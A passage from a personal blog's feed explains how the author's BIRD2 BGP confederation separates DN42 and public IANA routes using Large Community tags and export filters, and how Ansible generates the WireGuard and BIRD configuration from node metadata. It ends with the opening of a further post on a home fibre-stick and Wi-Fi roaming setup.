&lt;pre&gt;&lt;code&gt;2a14:7583:f220::/43
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then calculate the /46 based on the region, e.g., for Hong Kong region HKG:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2a14:7583:f224::/46
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, bits from /46 to /112 are set to zero, and the last 16 bits are filled with the node Token to serve as the node&apos;s IANA IPv6 address. For example, one of my backbone nodes in Hong Kong:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2a14:7583:f224::7d89/128
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Community Isolation Mechanism&lt;/h4&gt;
&lt;p&gt;In this architecture, BGP Large Community effectively acts as the metadata and control information carried along with a route as it propagates between different modules and infrastructures. Based on this metadata, when we export routes to different external peers we can determine:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does it belong to DN42 or IANA?&lt;/li&gt;
&lt;li&gt;Is it locally originated, brought in by a downstream, learned from a peer, or learned from an upstream?&lt;/li&gt;
&lt;li&gt;Can it be exported to other ASes?&lt;/li&gt;
&lt;li&gt;Is it underlay-only?&lt;/li&gt;
&lt;li&gt;Does this route need AS prepending?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As a concrete example, if the first identifier marks the route origin/destination as DN42 or IANA, all routes permitted to be sent to DN42 will be tagged with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(4242422024, 1, 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Similarly, all routes destined for IANA will be tagged with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(205369, 1, 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Within various protocols, this acts as a master switch, controlling whether export should occur. IANA upstream export filter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template bgp iana_upstream_v6 {
	...
	
    ipv6 {
		...
        import filter {
            if !iana_filter_default_check() then reject;  # basic check
            remove_confederation_as();                    # remove confederation as to prevent external peers from maliciously carrying internal as
            remove_private_community();                   # remove private community to prevent external peers from maliciously manipulating internal routes
            iana_upstream_add_community();                # tag all routes from IANA with community permitting broadcast in IANA infrastructure
            accept;
        };
        export filter {
            if !iana_filter_default_check() then reject;     # basic check
            if !iana_upstream_check_community() then reject; # check community: is this a route destined for IANA / does it carry no-advertise/no-export etc.
            remove_confederation_as();                       # remove confederation as
            remove_private_community();                      # remove private community
            accept;
        };
		...
    };
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where &lt;code&gt;iana_filter_default_check()&lt;/code&gt; is used to check prefix length, ROA, whether it is a default route, and other miscellaneous content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function iana_filter_default_check(){
    if net ~ [::/0] then return false;
    if net.len &amp;gt; 48 then return false;
    if bgp_large_community ~ [(IANA_OWNAS,1,1)] &amp;amp;&amp;amp; is_self_iana_v6() then return true;
    if roa_check(iana_roa_v6, net, bgp_path.last) = ROA_INVALID then return false;
    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;remove_confederation_as()&lt;/code&gt;, as the name suggests, removes internal confederation ASes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function remove_confederation_as() {
    bgp_path.delete([4220240000..4220249999]); # 4242422024 Infrastructure
    bgp_path.delete([4233770000..4233779999]); # 4242423377 Infrastructure
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;remove_private_community()&lt;/code&gt;, as the name suggests, removes internal Communities. The current implementation is very rough and needs detailed refinement later, because some Communities should be open to downstreams, allowing them to use Communities to convey routing intents and perform optimizations, such as prepending AS path, which can be used for route tuning or traffic engineering:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function remove_private_community(){
    bgp_large_community.delete([(4242422024, *, *)]);
    bgp_large_community.delete([(205369, *, *)]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;iana_upstream_add_community()&lt;/code&gt;, tags all routes from upstream with the Community allowing circulation in the IANA infrastructure, as well as a route source identifier:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function iana_upstream_add_community(){
    bgp_large_community.add((205369,1,1));
    bgp_large_community.add((205369,2,102));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where &lt;code&gt;(205369,2,102)&lt;/code&gt; identifies the route as coming from an upstream. Route sources are divided into three types: &lt;strong&gt;Upstream&lt;/strong&gt;, &lt;strong&gt;Peer&lt;/strong&gt;, &lt;strong&gt;Downstream/Customer/Self (treated as customer)&lt;/strong&gt;. For these three different types of BGP sessions, the exported routes usually differ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To upstream: we need the upstream to advertise our own prefixes and our downstreams&apos; prefixes, so all routes originating from &lt;strong&gt;downstream&lt;/strong&gt; should be exported to upstream.&lt;/li&gt;
&lt;li&gt;To downstream: we need to provide network services, so we need to export all routes we know, i.e., routes from &lt;strong&gt;upstream, peer, downstream&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;To peer: peering connections are solely for both parties to access each other&apos;s networks, so we must not export each other&apos;s upstreams or peers, otherwise it becomes free transit/tunneling. Therefore, only routes from &lt;strong&gt;downstream&lt;/strong&gt; are exported.
Correspondingly in the current internal network, routes from peers are tagged &lt;code&gt;(205369,2,101)&lt;/code&gt;, and routes from downstreams are tagged &lt;code&gt;(205369,2,100)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;iana_upstream_check_community()&lt;/code&gt; checks the route&apos;s Community, and based on the principles above, judges whether it should be advertised to upstream:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function iana_upstream_check_community(){
    if !(bgp_large_community ~ [(205369,1,1)]) then return false;      # not permitted for broadcast in IANA infrastructure, reject
    if bgp_large_community ~ [(205369,65535,65282)] then return false; # no-advertise
    if bgp_large_community ~ [(205369,65535,65281)] then return false; # no-export
    if bgp_community ~ [(65535,65281)] then reject;                    # no-advertise
    if bgp_community ~ [(65535,65282)] then reject;                    # no-export

    if bgp_large_community ~ [(205369,2,0)] then return false;         # from internal network, this community is used to identify routes from the internal network that should not be advertised externally, reject here
    if bgp_large_community ~ [(205369,2,101)] then return false;       # from peer, reject advertisement
    if bgp_large_community ~ [(205369,2,102)] then return false;       # from upstream, reject advertisement

    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Similarly, a similar check mechanism applies to DN42. Based on this mechanism, isolating the DN42 and IANA networks becomes very straightforward.&lt;/p&gt;
&lt;p&gt;The above is just a general explanation; finer community design and various export policies could be further elaborated, but that would turn into another article on routing policy details.&lt;/p&gt;
&lt;p&gt;This part actually draws heavily from &lt;a href=&quot;https://t.me/as4242423377/26&quot;&gt;たのしい’s BGP Communities&lt;/a&gt;; after all, both infrastructures need to interoperate, and many community specifications are basically copied. Thanks to たのしい for providing the ideas~&lt;/p&gt;
&lt;h1&gt;Route Lifecycle&lt;/h1&gt;
&lt;h2&gt;Phase 1: Ingress / Import&lt;/h2&gt;
&lt;p&gt;When all external routes enter the system, they first pass through the import filter of the corresponding domain.
IANA has three types of sources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;upstream;&lt;/li&gt;
&lt;li&gt;peer / IX;&lt;/li&gt;
&lt;li&gt;downstream.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DN42 also has two main types of sources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;regular transit / eBGP peer;&lt;/li&gt;
&lt;li&gt;IX / route server.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In addition, the local machine also originates some routes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;underlay loopback;&lt;/li&gt;
&lt;li&gt;DN42 overlay address;&lt;/li&gt;
&lt;li&gt;IANA own / anycast address.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These routes are tagged with Large Communities upon entering the confederation. All subsequent filters must be adjusted based on this.&lt;/p&gt;
&lt;h2&gt;Phase 2: Core / Intra Confederation&lt;/h2&gt;
&lt;p&gt;After entering the BIRD RIB, routes propagate between nodes via the internal Intra BGP Confederation. Here, Intra Confederation is not just about handling connectivity, but more importantly, allowing internal routes to carry policy information as well.&lt;/p&gt;
&lt;p&gt;The previous OSPF was great at solving:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Where is this loopback?&lt;/li&gt;
&lt;li&gt;How to reach this next-hop?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But it could not convey AS information and policy intents, for example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This route was learned from an IANA peer and must not be exported to another peer;&lt;/li&gt;
&lt;li&gt;This route is DN42 underlay-only and must never be leaked to eBGP;&lt;/li&gt;
&lt;li&gt;This route is a downstream customer prefix and can be exported to upstream.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of these are strengths of BGP policy. So moving the internal backbone from OSPF / full-mesh iBGP to confederation-style BGP is essentially upgrading the internal control plane to a &quot;policy-carryable control plane&quot;.&lt;/p&gt;
&lt;h2&gt;Phase 3: Egress / Export&lt;/h2&gt;
&lt;p&gt;When a route is about to leave the infrastructure, it passes through the export filter again. Here, based on communities, systemic prevention of route leaks and macro-control like AS prepending can be performed.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DN42 underlay routes carry an underlay-only community and thus are not exported to DN42 eBGP;&lt;/li&gt;
&lt;li&gt;Routes learned from an IANA upstream are not exported to another upstream;&lt;/li&gt;
&lt;li&gt;Routes learned from an IANA peer are not exported to another peer;&lt;/li&gt;
&lt;li&gt;Routes learned from a DN42 IX are not exported back to IX;&lt;/li&gt;
&lt;li&gt;NO_EXPORT / NO_ADVERTISE are respected;&lt;/li&gt;
&lt;li&gt;Before external export, internal confederation ASes and private communities are removed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In summary, it can be illustrated by this diagram:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart LR
    classDef ext fill:#eef7ff,stroke:#5b8def,stroke-width:1px;
    classDef local fill:#f5f5f5,stroke:#888,stroke-width:1px;
    classDef filter fill:#fff3d6,stroke:#d19a00,stroke-width:1px;
    classDef core fill:#eaf8ea,stroke:#3c9b43,stroke-width:1px;
    classDef export fill:#fdecec,stroke:#d45a5a,stroke-width:1px;

    subgraph SRC[&quot;Route Source&quot;]
        direction TB
        IU[&quot;IANA upstream&amp;lt;br/&amp;gt;transit / full routes&quot;]
        IP[&quot;IANA peer / IX&quot;]
        ID[&quot;IANA downstream&amp;lt;br/&amp;gt;customer prefixes&quot;]
        DT[&quot;DN42 transit / eBGP peer&quot;]
        DX[&quot;DN42 IX / route server&quot;]
        LU[&quot;Local underlay loopback&amp;lt;br/&amp;gt;100.64.x.y / fd18:...:ffff&quot;]
        LO[&quot;Local overlay address&amp;lt;br/&amp;gt;DN42 own / IANA own / anycast&quot;]
    end

    subgraph INFRA[&quot;Bird2-Configuration Infrastructure&quot;]
        direction LR

        subgraph IMPORT[&quot;Ingress / Import filters&quot;]
            direction TB
            IUF[&quot;IANA upstream import&amp;lt;br/&amp;gt;tag: 205369:1:1&amp;lt;br/&amp;gt;tag: 205369:2:102&quot;]
            IPF[&quot;IANA peer import&amp;lt;br/&amp;gt;tag: 205369:1:1&amp;lt;br/&amp;gt;tag: 205369:2:101&quot;]
            IDF[&quot;IANA downstream import&amp;lt;br/&amp;gt;AS-SET / path check&amp;lt;br/&amp;gt;tag: 205369:2:100&quot;]
            DTF[&quot;DN42 eBGP import&amp;lt;br/&amp;gt;prefix / ROA / self check&amp;lt;br/&amp;gt;tag: 4242422024:2:101/102&quot;]
            DXF[&quot;DN42 IX import&amp;lt;br/&amp;gt;prefix / ROA check&amp;lt;br/&amp;gt;tag: 4242422024:2:101&quot;]
            STF[&quot;Static origin&amp;lt;br/&amp;gt;underlay / overlay route tags&quot;]
        end

        META[&quot;Large Community metadata layer&amp;lt;br/&amp;gt;domain + source + scope&amp;lt;br/&amp;gt;internal route API&quot;]

        subgraph CORE[&quot;Internal control plane&quot;]
            direction TB
            RIB[&quot;BIRD RIB&quot;]
            CONFED[&quot;Intra BGP Confederation&amp;lt;br/&amp;gt;member AS: 422024xxxx&amp;lt;br/&amp;gt;policy: full / default / iana_full / no_iana&quot;]
            WG[&quot;WireGuard underlay transport&amp;lt;br/&amp;gt;link-local next-hop&amp;lt;br/&amp;gt;fwmark policy routing&quot;]
            UNDERLAY[&quot;net_underlay&amp;lt;br/&amp;gt;loopback + table 1142&quot;]
            OVERLAY[&quot;net_overlay&amp;lt;br/&amp;gt;DN42 / IANA service addresses&quot;]
        end

        subgraph EGRESS[&quot;Egress / Export filters&quot;]
            direction TB
            DEXP[&quot;DN42 eBGP export&amp;lt;br/&amp;gt;reject underlay-only&amp;lt;br/&amp;gt;respect no-export/no-advertise&quot;]
            DXEXP[&quot;DN42 IX export&amp;lt;br/&amp;gt;reject peer/transit learned routes&quot;]
            IEXP[&quot;IANA upstream / peer export&amp;lt;br/&amp;gt;export local/downstream only&amp;lt;br/&amp;gt;reject peer/upstream learned&quot;]
            DOWNEXP[&quot;IANA downstream export&amp;lt;br/&amp;gt;policy: default / own_only / reject&quot;]
            KEXP[&quot;Kernel export&amp;lt;br/&amp;gt;krt_prefsrc by community&quot;]
            CLEAN[&quot;cleanup before external export&amp;lt;br/&amp;gt;remove confed AS&amp;lt;br/&amp;gt;remove private communities&quot;]
        end
    end

    subgraph DST[&quot;Route Destination&quot;]
        direction TB
        OD[&quot;DN42 peers / transit&quot;]
        OX[&quot;DN42 IX&quot;]
        OI[&quot;IANA upstream / peer&quot;]
        OC[&quot;IANA downstream&quot;]
        KF[&quot;Linux kernel FIB&amp;lt;br/&amp;gt;actual packet forwarding&quot;]
    end

    IU --&amp;gt; IUF
    IP --&amp;gt; IPF
    ID --&amp;gt; IDF
    DT --&amp;gt; DTF
    DX --&amp;gt; DXF
    LU --&amp;gt; STF
    LO --&amp;gt; STF

    IUF --&amp;gt; META
    IPF --&amp;gt; META
    IDF --&amp;gt; META
    DTF --&amp;gt; META
    DXF --&amp;gt; META
    STF --&amp;gt; META

    META --&amp;gt; RIB
    RIB &amp;lt;--&amp;gt; CONFED
    CONFED --- WG
    WG --- UNDERLAY
    RIB --- OVERLAY

    RIB --&amp;gt; DEXP
    RIB --&amp;gt; DXEXP
    RIB --&amp;gt; IEXP
    RIB --&amp;gt; DOWNEXP
    RIB --&amp;gt; KEXP

    DEXP --&amp;gt; CLEAN --&amp;gt; OD
    DXEXP --&amp;gt; CLEAN --&amp;gt; OX
    IEXP --&amp;gt; CLEAN --&amp;gt; OI
    DOWNEXP --&amp;gt; CLEAN --&amp;gt; OC
    KEXP --&amp;gt; KF

    class IU,IP,ID,DT,DX ext;
    class LU,LO local;
    class IUF,IPF,IDF,DTF,DXF,STF filter;
    class META,RIB,CONFED,WG,UNDERLAY,OVERLAY core;
    class DEXP,DXEXP,IEXP,DOWNEXP,KEXP,CLEAN export;
    class OD,OX,OI,OC,KF ext;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Automation: Compiling Network Intent into Configuration&lt;/h1&gt;
&lt;p&gt;All the above discussion on IPAM, Confederation AS, Underlay/Overlay, and BGP Communities would not truly solve the problem if it still ended up being maintained by hand-written configurations; it would just move the complexity from one form to another. Before this refactoring, adding a new node or peer often required simultaneous changes in many places:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WireGuard configuration: interface name, listen port, peer public key, endpoint, allowed IPs&lt;/li&gt;
&lt;li&gt;BIRD configuration: BGP protocol name, neighbor address, neighbor interface, ASN, import/export filter&lt;/li&gt;
&lt;li&gt;IPAM-related configuration: loopback, link-local, router id, overlay address&lt;/li&gt;
&lt;li&gt;Deployment-related configuration: which nodes need rendering, which services need restarting&lt;/li&gt;
&lt;li&gt;Some special cases: nodes behind NAT, passive peers, special local AS, special filters&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Logically, these things describe the same thing: &lt;strong&gt;a connection belonging to a certain routing domain exists between two nodes&lt;/strong&gt;.&lt;br /&gt;
But in manual configuration, they end up scattered across WireGuard, BIRD, network interfaces, systemd/openrc, and other places. If just one field is missed or inconsistent, very strange problems can occur, such as WireGuard being up but BIRD neighbor pointing to the wrong interface; or the link-local being changed, but the peer session still having the old address.&lt;/p&gt;
&lt;p&gt;So in this refactoring, I didn&apos;t want Ansible to just be a tool that &quot;fills YAML into Jinja2 templates&quot;. If we simply moved the original hand-written config into templates, we would essentially still be maintaining a pile of low-level configurations, just in a different file format. Since automation was introduced, the input should not be &quot;I want to generate a configuration file that looks like this&quot;, but rather:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Who is this node?&lt;/li&gt;
&lt;li&gt;Which tier / region does it belong to?&lt;/li&gt;
&lt;li&gt;Who does it interconnect with?&lt;/li&gt;
&lt;li&gt;Does this connection belong to DN42, IANA or Intra?&lt;/li&gt;
&lt;li&gt;What import/export policy should this connection use?&lt;/li&gt;
&lt;li&gt;Does it have special constraints like NAT, passive, endpoint override?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As for the specific WireGuard interface wording, how the BIRD session is written, what the link-local address is – all these should, as much as possible, be generated by the automation system based on rules.&lt;/p&gt;
&lt;h2&gt;Source of Truth: Node State, Not Config Files&lt;/h2&gt;
&lt;p&gt;The input for this automation is mainly placed in Ansible&apos;s &lt;code&gt;host_vars&lt;/code&gt;. The variables for each node are no longer just parameters needed for template rendering, but the description of the node&apos;s identity in the network. For example, a node will have at least:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tier&lt;/code&gt;: node tier, e.g., backbone, IX, normal node&lt;/li&gt;
&lt;li&gt;&lt;code&gt;region&lt;/code&gt;: region where the node is located&lt;/li&gt;
&lt;li&gt;&lt;code&gt;node_id&lt;/code&gt;: node number within the same region&lt;/li&gt;
&lt;li&gt;&lt;code&gt;node_token&lt;/code&gt;: a stable 16-bit token used to generate the IPv6 address suffix&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These fields are used for IPAM address management and identification information within the Confederation (as mentioned earlier, AS calculation and IP address derivation). The advantage of this approach is that when a new node joins, we just need to configure its basic metadata, and all its fundamental identities within the underlay are already determined. This significantly reduces subsequent maintenance effort. If link-local addresses were handwritten in every BIRD session, then any change to a node&apos;s token or address rule would require changes on all peers; but if the BIRD neighbor address is automatically derived from the peer node&apos;s metadata, it always stays consistent with the source of truth.&lt;/p&gt;
&lt;h2&gt;Domain Intent: Declarative Peer Configuration&lt;/h2&gt;
&lt;p&gt;The most important abstraction in this automation is &lt;strong&gt;Domain Intent&lt;/strong&gt;, which treats the Session and its corresponding WireGuard tunnel binding as a single entity, then partitions them by the network type (DN42/IANA/Intra). Taking an Intra peer as an example, an internal connection fundamentally requires two types of configuration simultaneously:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WireGuard interface, to provide the transport tunnel&lt;/li&gt;
&lt;li&gt;BIRD BGP session, to exchange routes over this tunnel&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If maintained manually, these two parts easily duplicate the same information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;interface name&lt;/li&gt;
&lt;li&gt;peer node&lt;/li&gt;
&lt;li&gt;listen port&lt;/li&gt;
&lt;li&gt;endpoint&lt;/li&gt;
&lt;li&gt;neighbor interface&lt;/li&gt;
&lt;li&gt;BGP protocol name&lt;/li&gt;
&lt;li&gt;import/export policy&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So we abstract a regular Intra peer into a single peer intent. Simplified, it looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- node: tyo03-jp
  interface: intra_tyo03
  wireguard:
    listen_port: 10234
    passive: true
  bgp:
    protocol: intra_ibgp_tyo03
    ipv4:
      import_policy: full
      export_policy: full
    ipv6:
      import_policy: full
      export_policy: full
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This declaration does not directly correspond to a single configuration file, but describes the peer intent:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There is an internal connection named &lt;code&gt;intra_tyo03&lt;/code&gt; between the current node and &lt;code&gt;tyo03-jp&lt;/code&gt;. This connection uses WireGuard for transport, and establishes an Intra BGP session over it, with BGP policy using &lt;code&gt;full&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Afterwards, Ansible automatically renders the corresponding WireGuard and BIRD configuration based on this.&lt;/p&gt;
&lt;p&gt;Thus, a peer relationship only needs to be described once, and the subsequent low-level configuration is generated automatically. For example, the BIRD neighbor&apos;s link-local address does not need to be handwritten; it can be automatically obtained from the peer node&apos;s &lt;code&gt;tier / region / node_token&lt;/code&gt;. The WireGuard endpoint can also be automatically derived from the peer&apos;s &lt;code&gt;ansible_host&lt;/code&gt; in the inventory and the peer&apos;s return peer &lt;code&gt;listen_port&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The biggest advantage of this is avoiding state inconsistency between multiple configuration layers.&lt;/p&gt;
&lt;h2&gt;Automatic Endpoint Derivation and Passive Peers&lt;/h2&gt;
&lt;p&gt;In my internal network architecture, not all nodes have perfectly symmetric public reachability. For example, some nodes / DN42 peers are behind NAT and can only initiate connections; some tunnels require a fixed endpoint as the listener, with the other end initiating. Therefore, the peer intent must support special cases like passive listening. If a peer is not passive, the automation can attempt to read &lt;code&gt;ansible_host&lt;/code&gt; from the peer&apos;s inventory, combine it with the &lt;code&gt;listen_port&lt;/code&gt; declared by the peer, and automatically generate the WireGuard endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;endpoint = peer_ansible_host + &quot;:&quot; + peer_return_listen_port
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the peer is marked as passive, no endpoint is rendered, allowing the peer to actively initiate the connection.&lt;/p&gt;
&lt;p&gt;Essentially, the endpoint is determined by &quot;how the peer is accessed&quot; and &quot;which port the peer listens on&quot;. These two pieces of information already exist in the inventory and peer intent, so there&apos;s no need to duplicate them. Of course, for extremely unusual links, the most basic manual override for the endpoint is retained. The goal of automation is not to eliminate all edge cases, but to make the normal cases require no special handling.&lt;/p&gt;
&lt;h2&gt;Generic Scenarios &amp;amp; Exceptions&lt;/h2&gt;
&lt;p&gt;This is essentially a fallback mechanism for special cases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Legacy tunnels&lt;/li&gt;
&lt;li&gt;Special internal peers carried over DN42&lt;/li&gt;
&lt;li&gt;Nodes behind NAT&lt;/li&gt;
&lt;li&gt;Temporary workarounds&lt;/li&gt;
&lt;li&gt;Peers requiring strange BGP parameters&lt;/li&gt;
&lt;li&gt;Certain sessions needing special local AS&lt;/li&gt;
&lt;li&gt;Some routes only intended for the IANA domain, not the DN42 domain&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The final design kept: most regular Intra peers can generate WireGuard + BIRD via domain intent. DN42 peer WireGuard can also be generated from DN42 peer intents. However, some special BIRD sessions, such as those requiring separate &lt;code&gt;local_as&lt;/code&gt; or special export policies, can still be explicitly declared using low-level configuration. Before final rendering, Ansible merges the generated configuration and legacy/manual overrides into the final configuration.&lt;/p&gt;
&lt;p&gt;The benefit is that automation covers 90% of the repetitive and error-prone parts, while still leaving room for the remaining 10% of special cases.&lt;/p&gt;
&lt;h2&gt;Configuration Rendering&lt;/h2&gt;
&lt;p&gt;The entire rendering process can be roughly understood as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart TD
    A[host_vars: node metadata + domain intent] --&amp;gt; B[materialize domain intent]

    B --&amp;gt; C[effective_wireguard_interfaces]
    B --&amp;gt; D[effective_intra_ibgp_sessions]

    C --&amp;gt; E[render wg-quick configs]
    D --&amp;gt; F[render BIRD intra sessions]

    A --&amp;gt; G[render BIRD root / DN42 / IANA modules]
    A --&amp;gt; H[render underlay / overlay interfaces]

    E --&amp;gt; I[.rendered-wireguard]
    F --&amp;gt; J[.rendered]
    G --&amp;gt; J
    H --&amp;gt; K[.rendered-network]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are three types of final artifacts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.rendered/&lt;/code&gt;: BIRD configuration&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rendered-wireguard/&lt;/code&gt;: WireGuard configuration&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rendered-network/&lt;/code&gt;: underlay / overlay dummy interface configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The BIRD configuration is further divided into several modules, written via Jinja2 templates; the actual overlay network separation is also handled here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;root config: global defines, includes, kernel protocol&lt;/li&gt;
&lt;li&gt;DN42 module: DN42 filters, RPKI, eBGP peers, IX peers&lt;/li&gt;
&lt;li&gt;IANA module: upstream, downstream, peers, RPKI, static routes&lt;/li&gt;
&lt;li&gt;Intra module: confederation-style BGP sessions, static routes, internal filters&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Whether these modules are included is also decided automatically based on data as much as possible. For instance, if a node has no DN42 peers, there&apos;s no need to render and include &lt;code&gt;ebgp.conf&lt;/code&gt;; no IX sessions, no need to include &lt;code&gt;ix.conf&lt;/code&gt;. This reduces empty configurations and meaningless includes, and avoids some nodes failing template rendering due to missing related variables.&lt;/p&gt;
&lt;h2&gt;Validation &amp;amp; Deployment&lt;/h2&gt;
&lt;p&gt;The final deployment process also added some check and validation stages:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;render BIRD&lt;/li&gt;
&lt;li&gt;validate BIRD&lt;/li&gt;
&lt;li&gt;render WireGuard&lt;/li&gt;
&lt;li&gt;validate WireGuard&lt;/li&gt;
&lt;li&gt;deploy dummy interfaces&lt;/li&gt;
&lt;li&gt;deploy WireGuard&lt;/li&gt;
&lt;li&gt;deploy BIRD&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;BIRD configuration is rendered and validated locally first to catch syntax errors as early as possible. WireGuard configuration is also rendered and validated first to avoid missing keys or generating obviously invalid wg-quick configs. Finally, after all validations pass, the underlying interfaces + WireGuard are deployed, and only then is BIRD uploaded and reloaded.&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;I&apos;m exhausted; this article has drained me. Why is narrating this architecture in linear language so difficult?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;After sorting things out, most of the code was basically written by AI, and the results were decent. If you need a reference, see &lt;a href=&quot;https://github.com/iYoRoy-Network/bird2-config/tree/dev/ansible&quot;&gt;bird2-config/ansible at dev · iYoRoy-Network/bird2-config&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The applicable scenarios for this solution are actually quite narrow; the DN42 + IANA BGP Player scene is really too niche xD. Moreover, a major reason this solution can function properly is that the IANA prefixes and DN42, along with the address ranges chosen for my own internal network, do not conflict at all. If there were address conflicts in the transit segments, one would probably still need to consider proper ISP isolation solutions like VRF/MPLS L3VPN.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/en/article/modify-website/bird-confederation.lantian/&quot;&gt;Configure BGP Confederation &amp;amp; Fake Confederation in Bird (Updated 2020-06-07) - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://heiok.com/bgp-transit-and-peering.html&quot;&gt;浅谈 BGP 中的 Transit（中转）与 Peering（对等互联） | 网络蝙蝠侠部落&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>家庭网络更新 - 猫棒 + 802.11k/v/r 漫游</title><link>https://blog.iyoroy.cn/posts/305/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/305/</guid><description>用猫棒和小米 BE10000 更新家庭网络，配置 VLAN、PPPoE 及主从 AP 的 802.11k/v/r，并根据房间覆盖情况调整信道与功率，记录测速和漫游表现。</description><pubDate>Sat, 11 Jul 2026 00:37:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;文章开头部分会解释一下配置猫棒和 BE10000 PPPoE 的流程, 如果您只需要查阅 802.11k/v/r 相关的内容, 可跳转至 「 配置 802.11 k/v/r」 章节&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;起因是五一的时候在哈尔滨本地自提了一台 Xiaomi BE10000, 因为想玩玩猫棒, 看看能不能将家里的千兆网突破 1 Gbps (cc: &lt;a href=&quot;https://milu.ink/600.html&quot;&gt;浙江移动烽火光猫获取超密 + G-010S-A 猫棒上网 – 米露小窝&lt;/a&gt;). 而且因为我在用 EasyTier 这样的组网工具, 并且需要 WakeOnLan 这样的功能, 再加上家里已有的 Xiaomi AX3600 刷了 ImmortalWRT, 所以综合考虑我还希望能刷 WRT 系列系统, 然后也许能够利用 802.11 k/v/r 来实现自动切换, 达到手动 Mesh 的效果. 找来找去发现 好像只有 BE10000 满足我的需求, 既有 SFP+ 笼, 又可以刷入 QWRT. 暑假带回家了, 是时候折腾一下了()&lt;/p&gt;
&lt;p&gt;&lt;em&gt;而且在学校的时候也已经把唯一美中不足的 NFC 碰一碰自动连接修好了 (ref: &lt;a href=&quot;https://blog.iyoroy.cn/archives/278/&quot;&gt;为小米BE10000路由器的QWRT适配NFC功能 - 悠笙の开发日记&lt;/a&gt; ), 这台机器已经是完全体啦(点头)&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;专业名词解释&lt;/h2&gt;
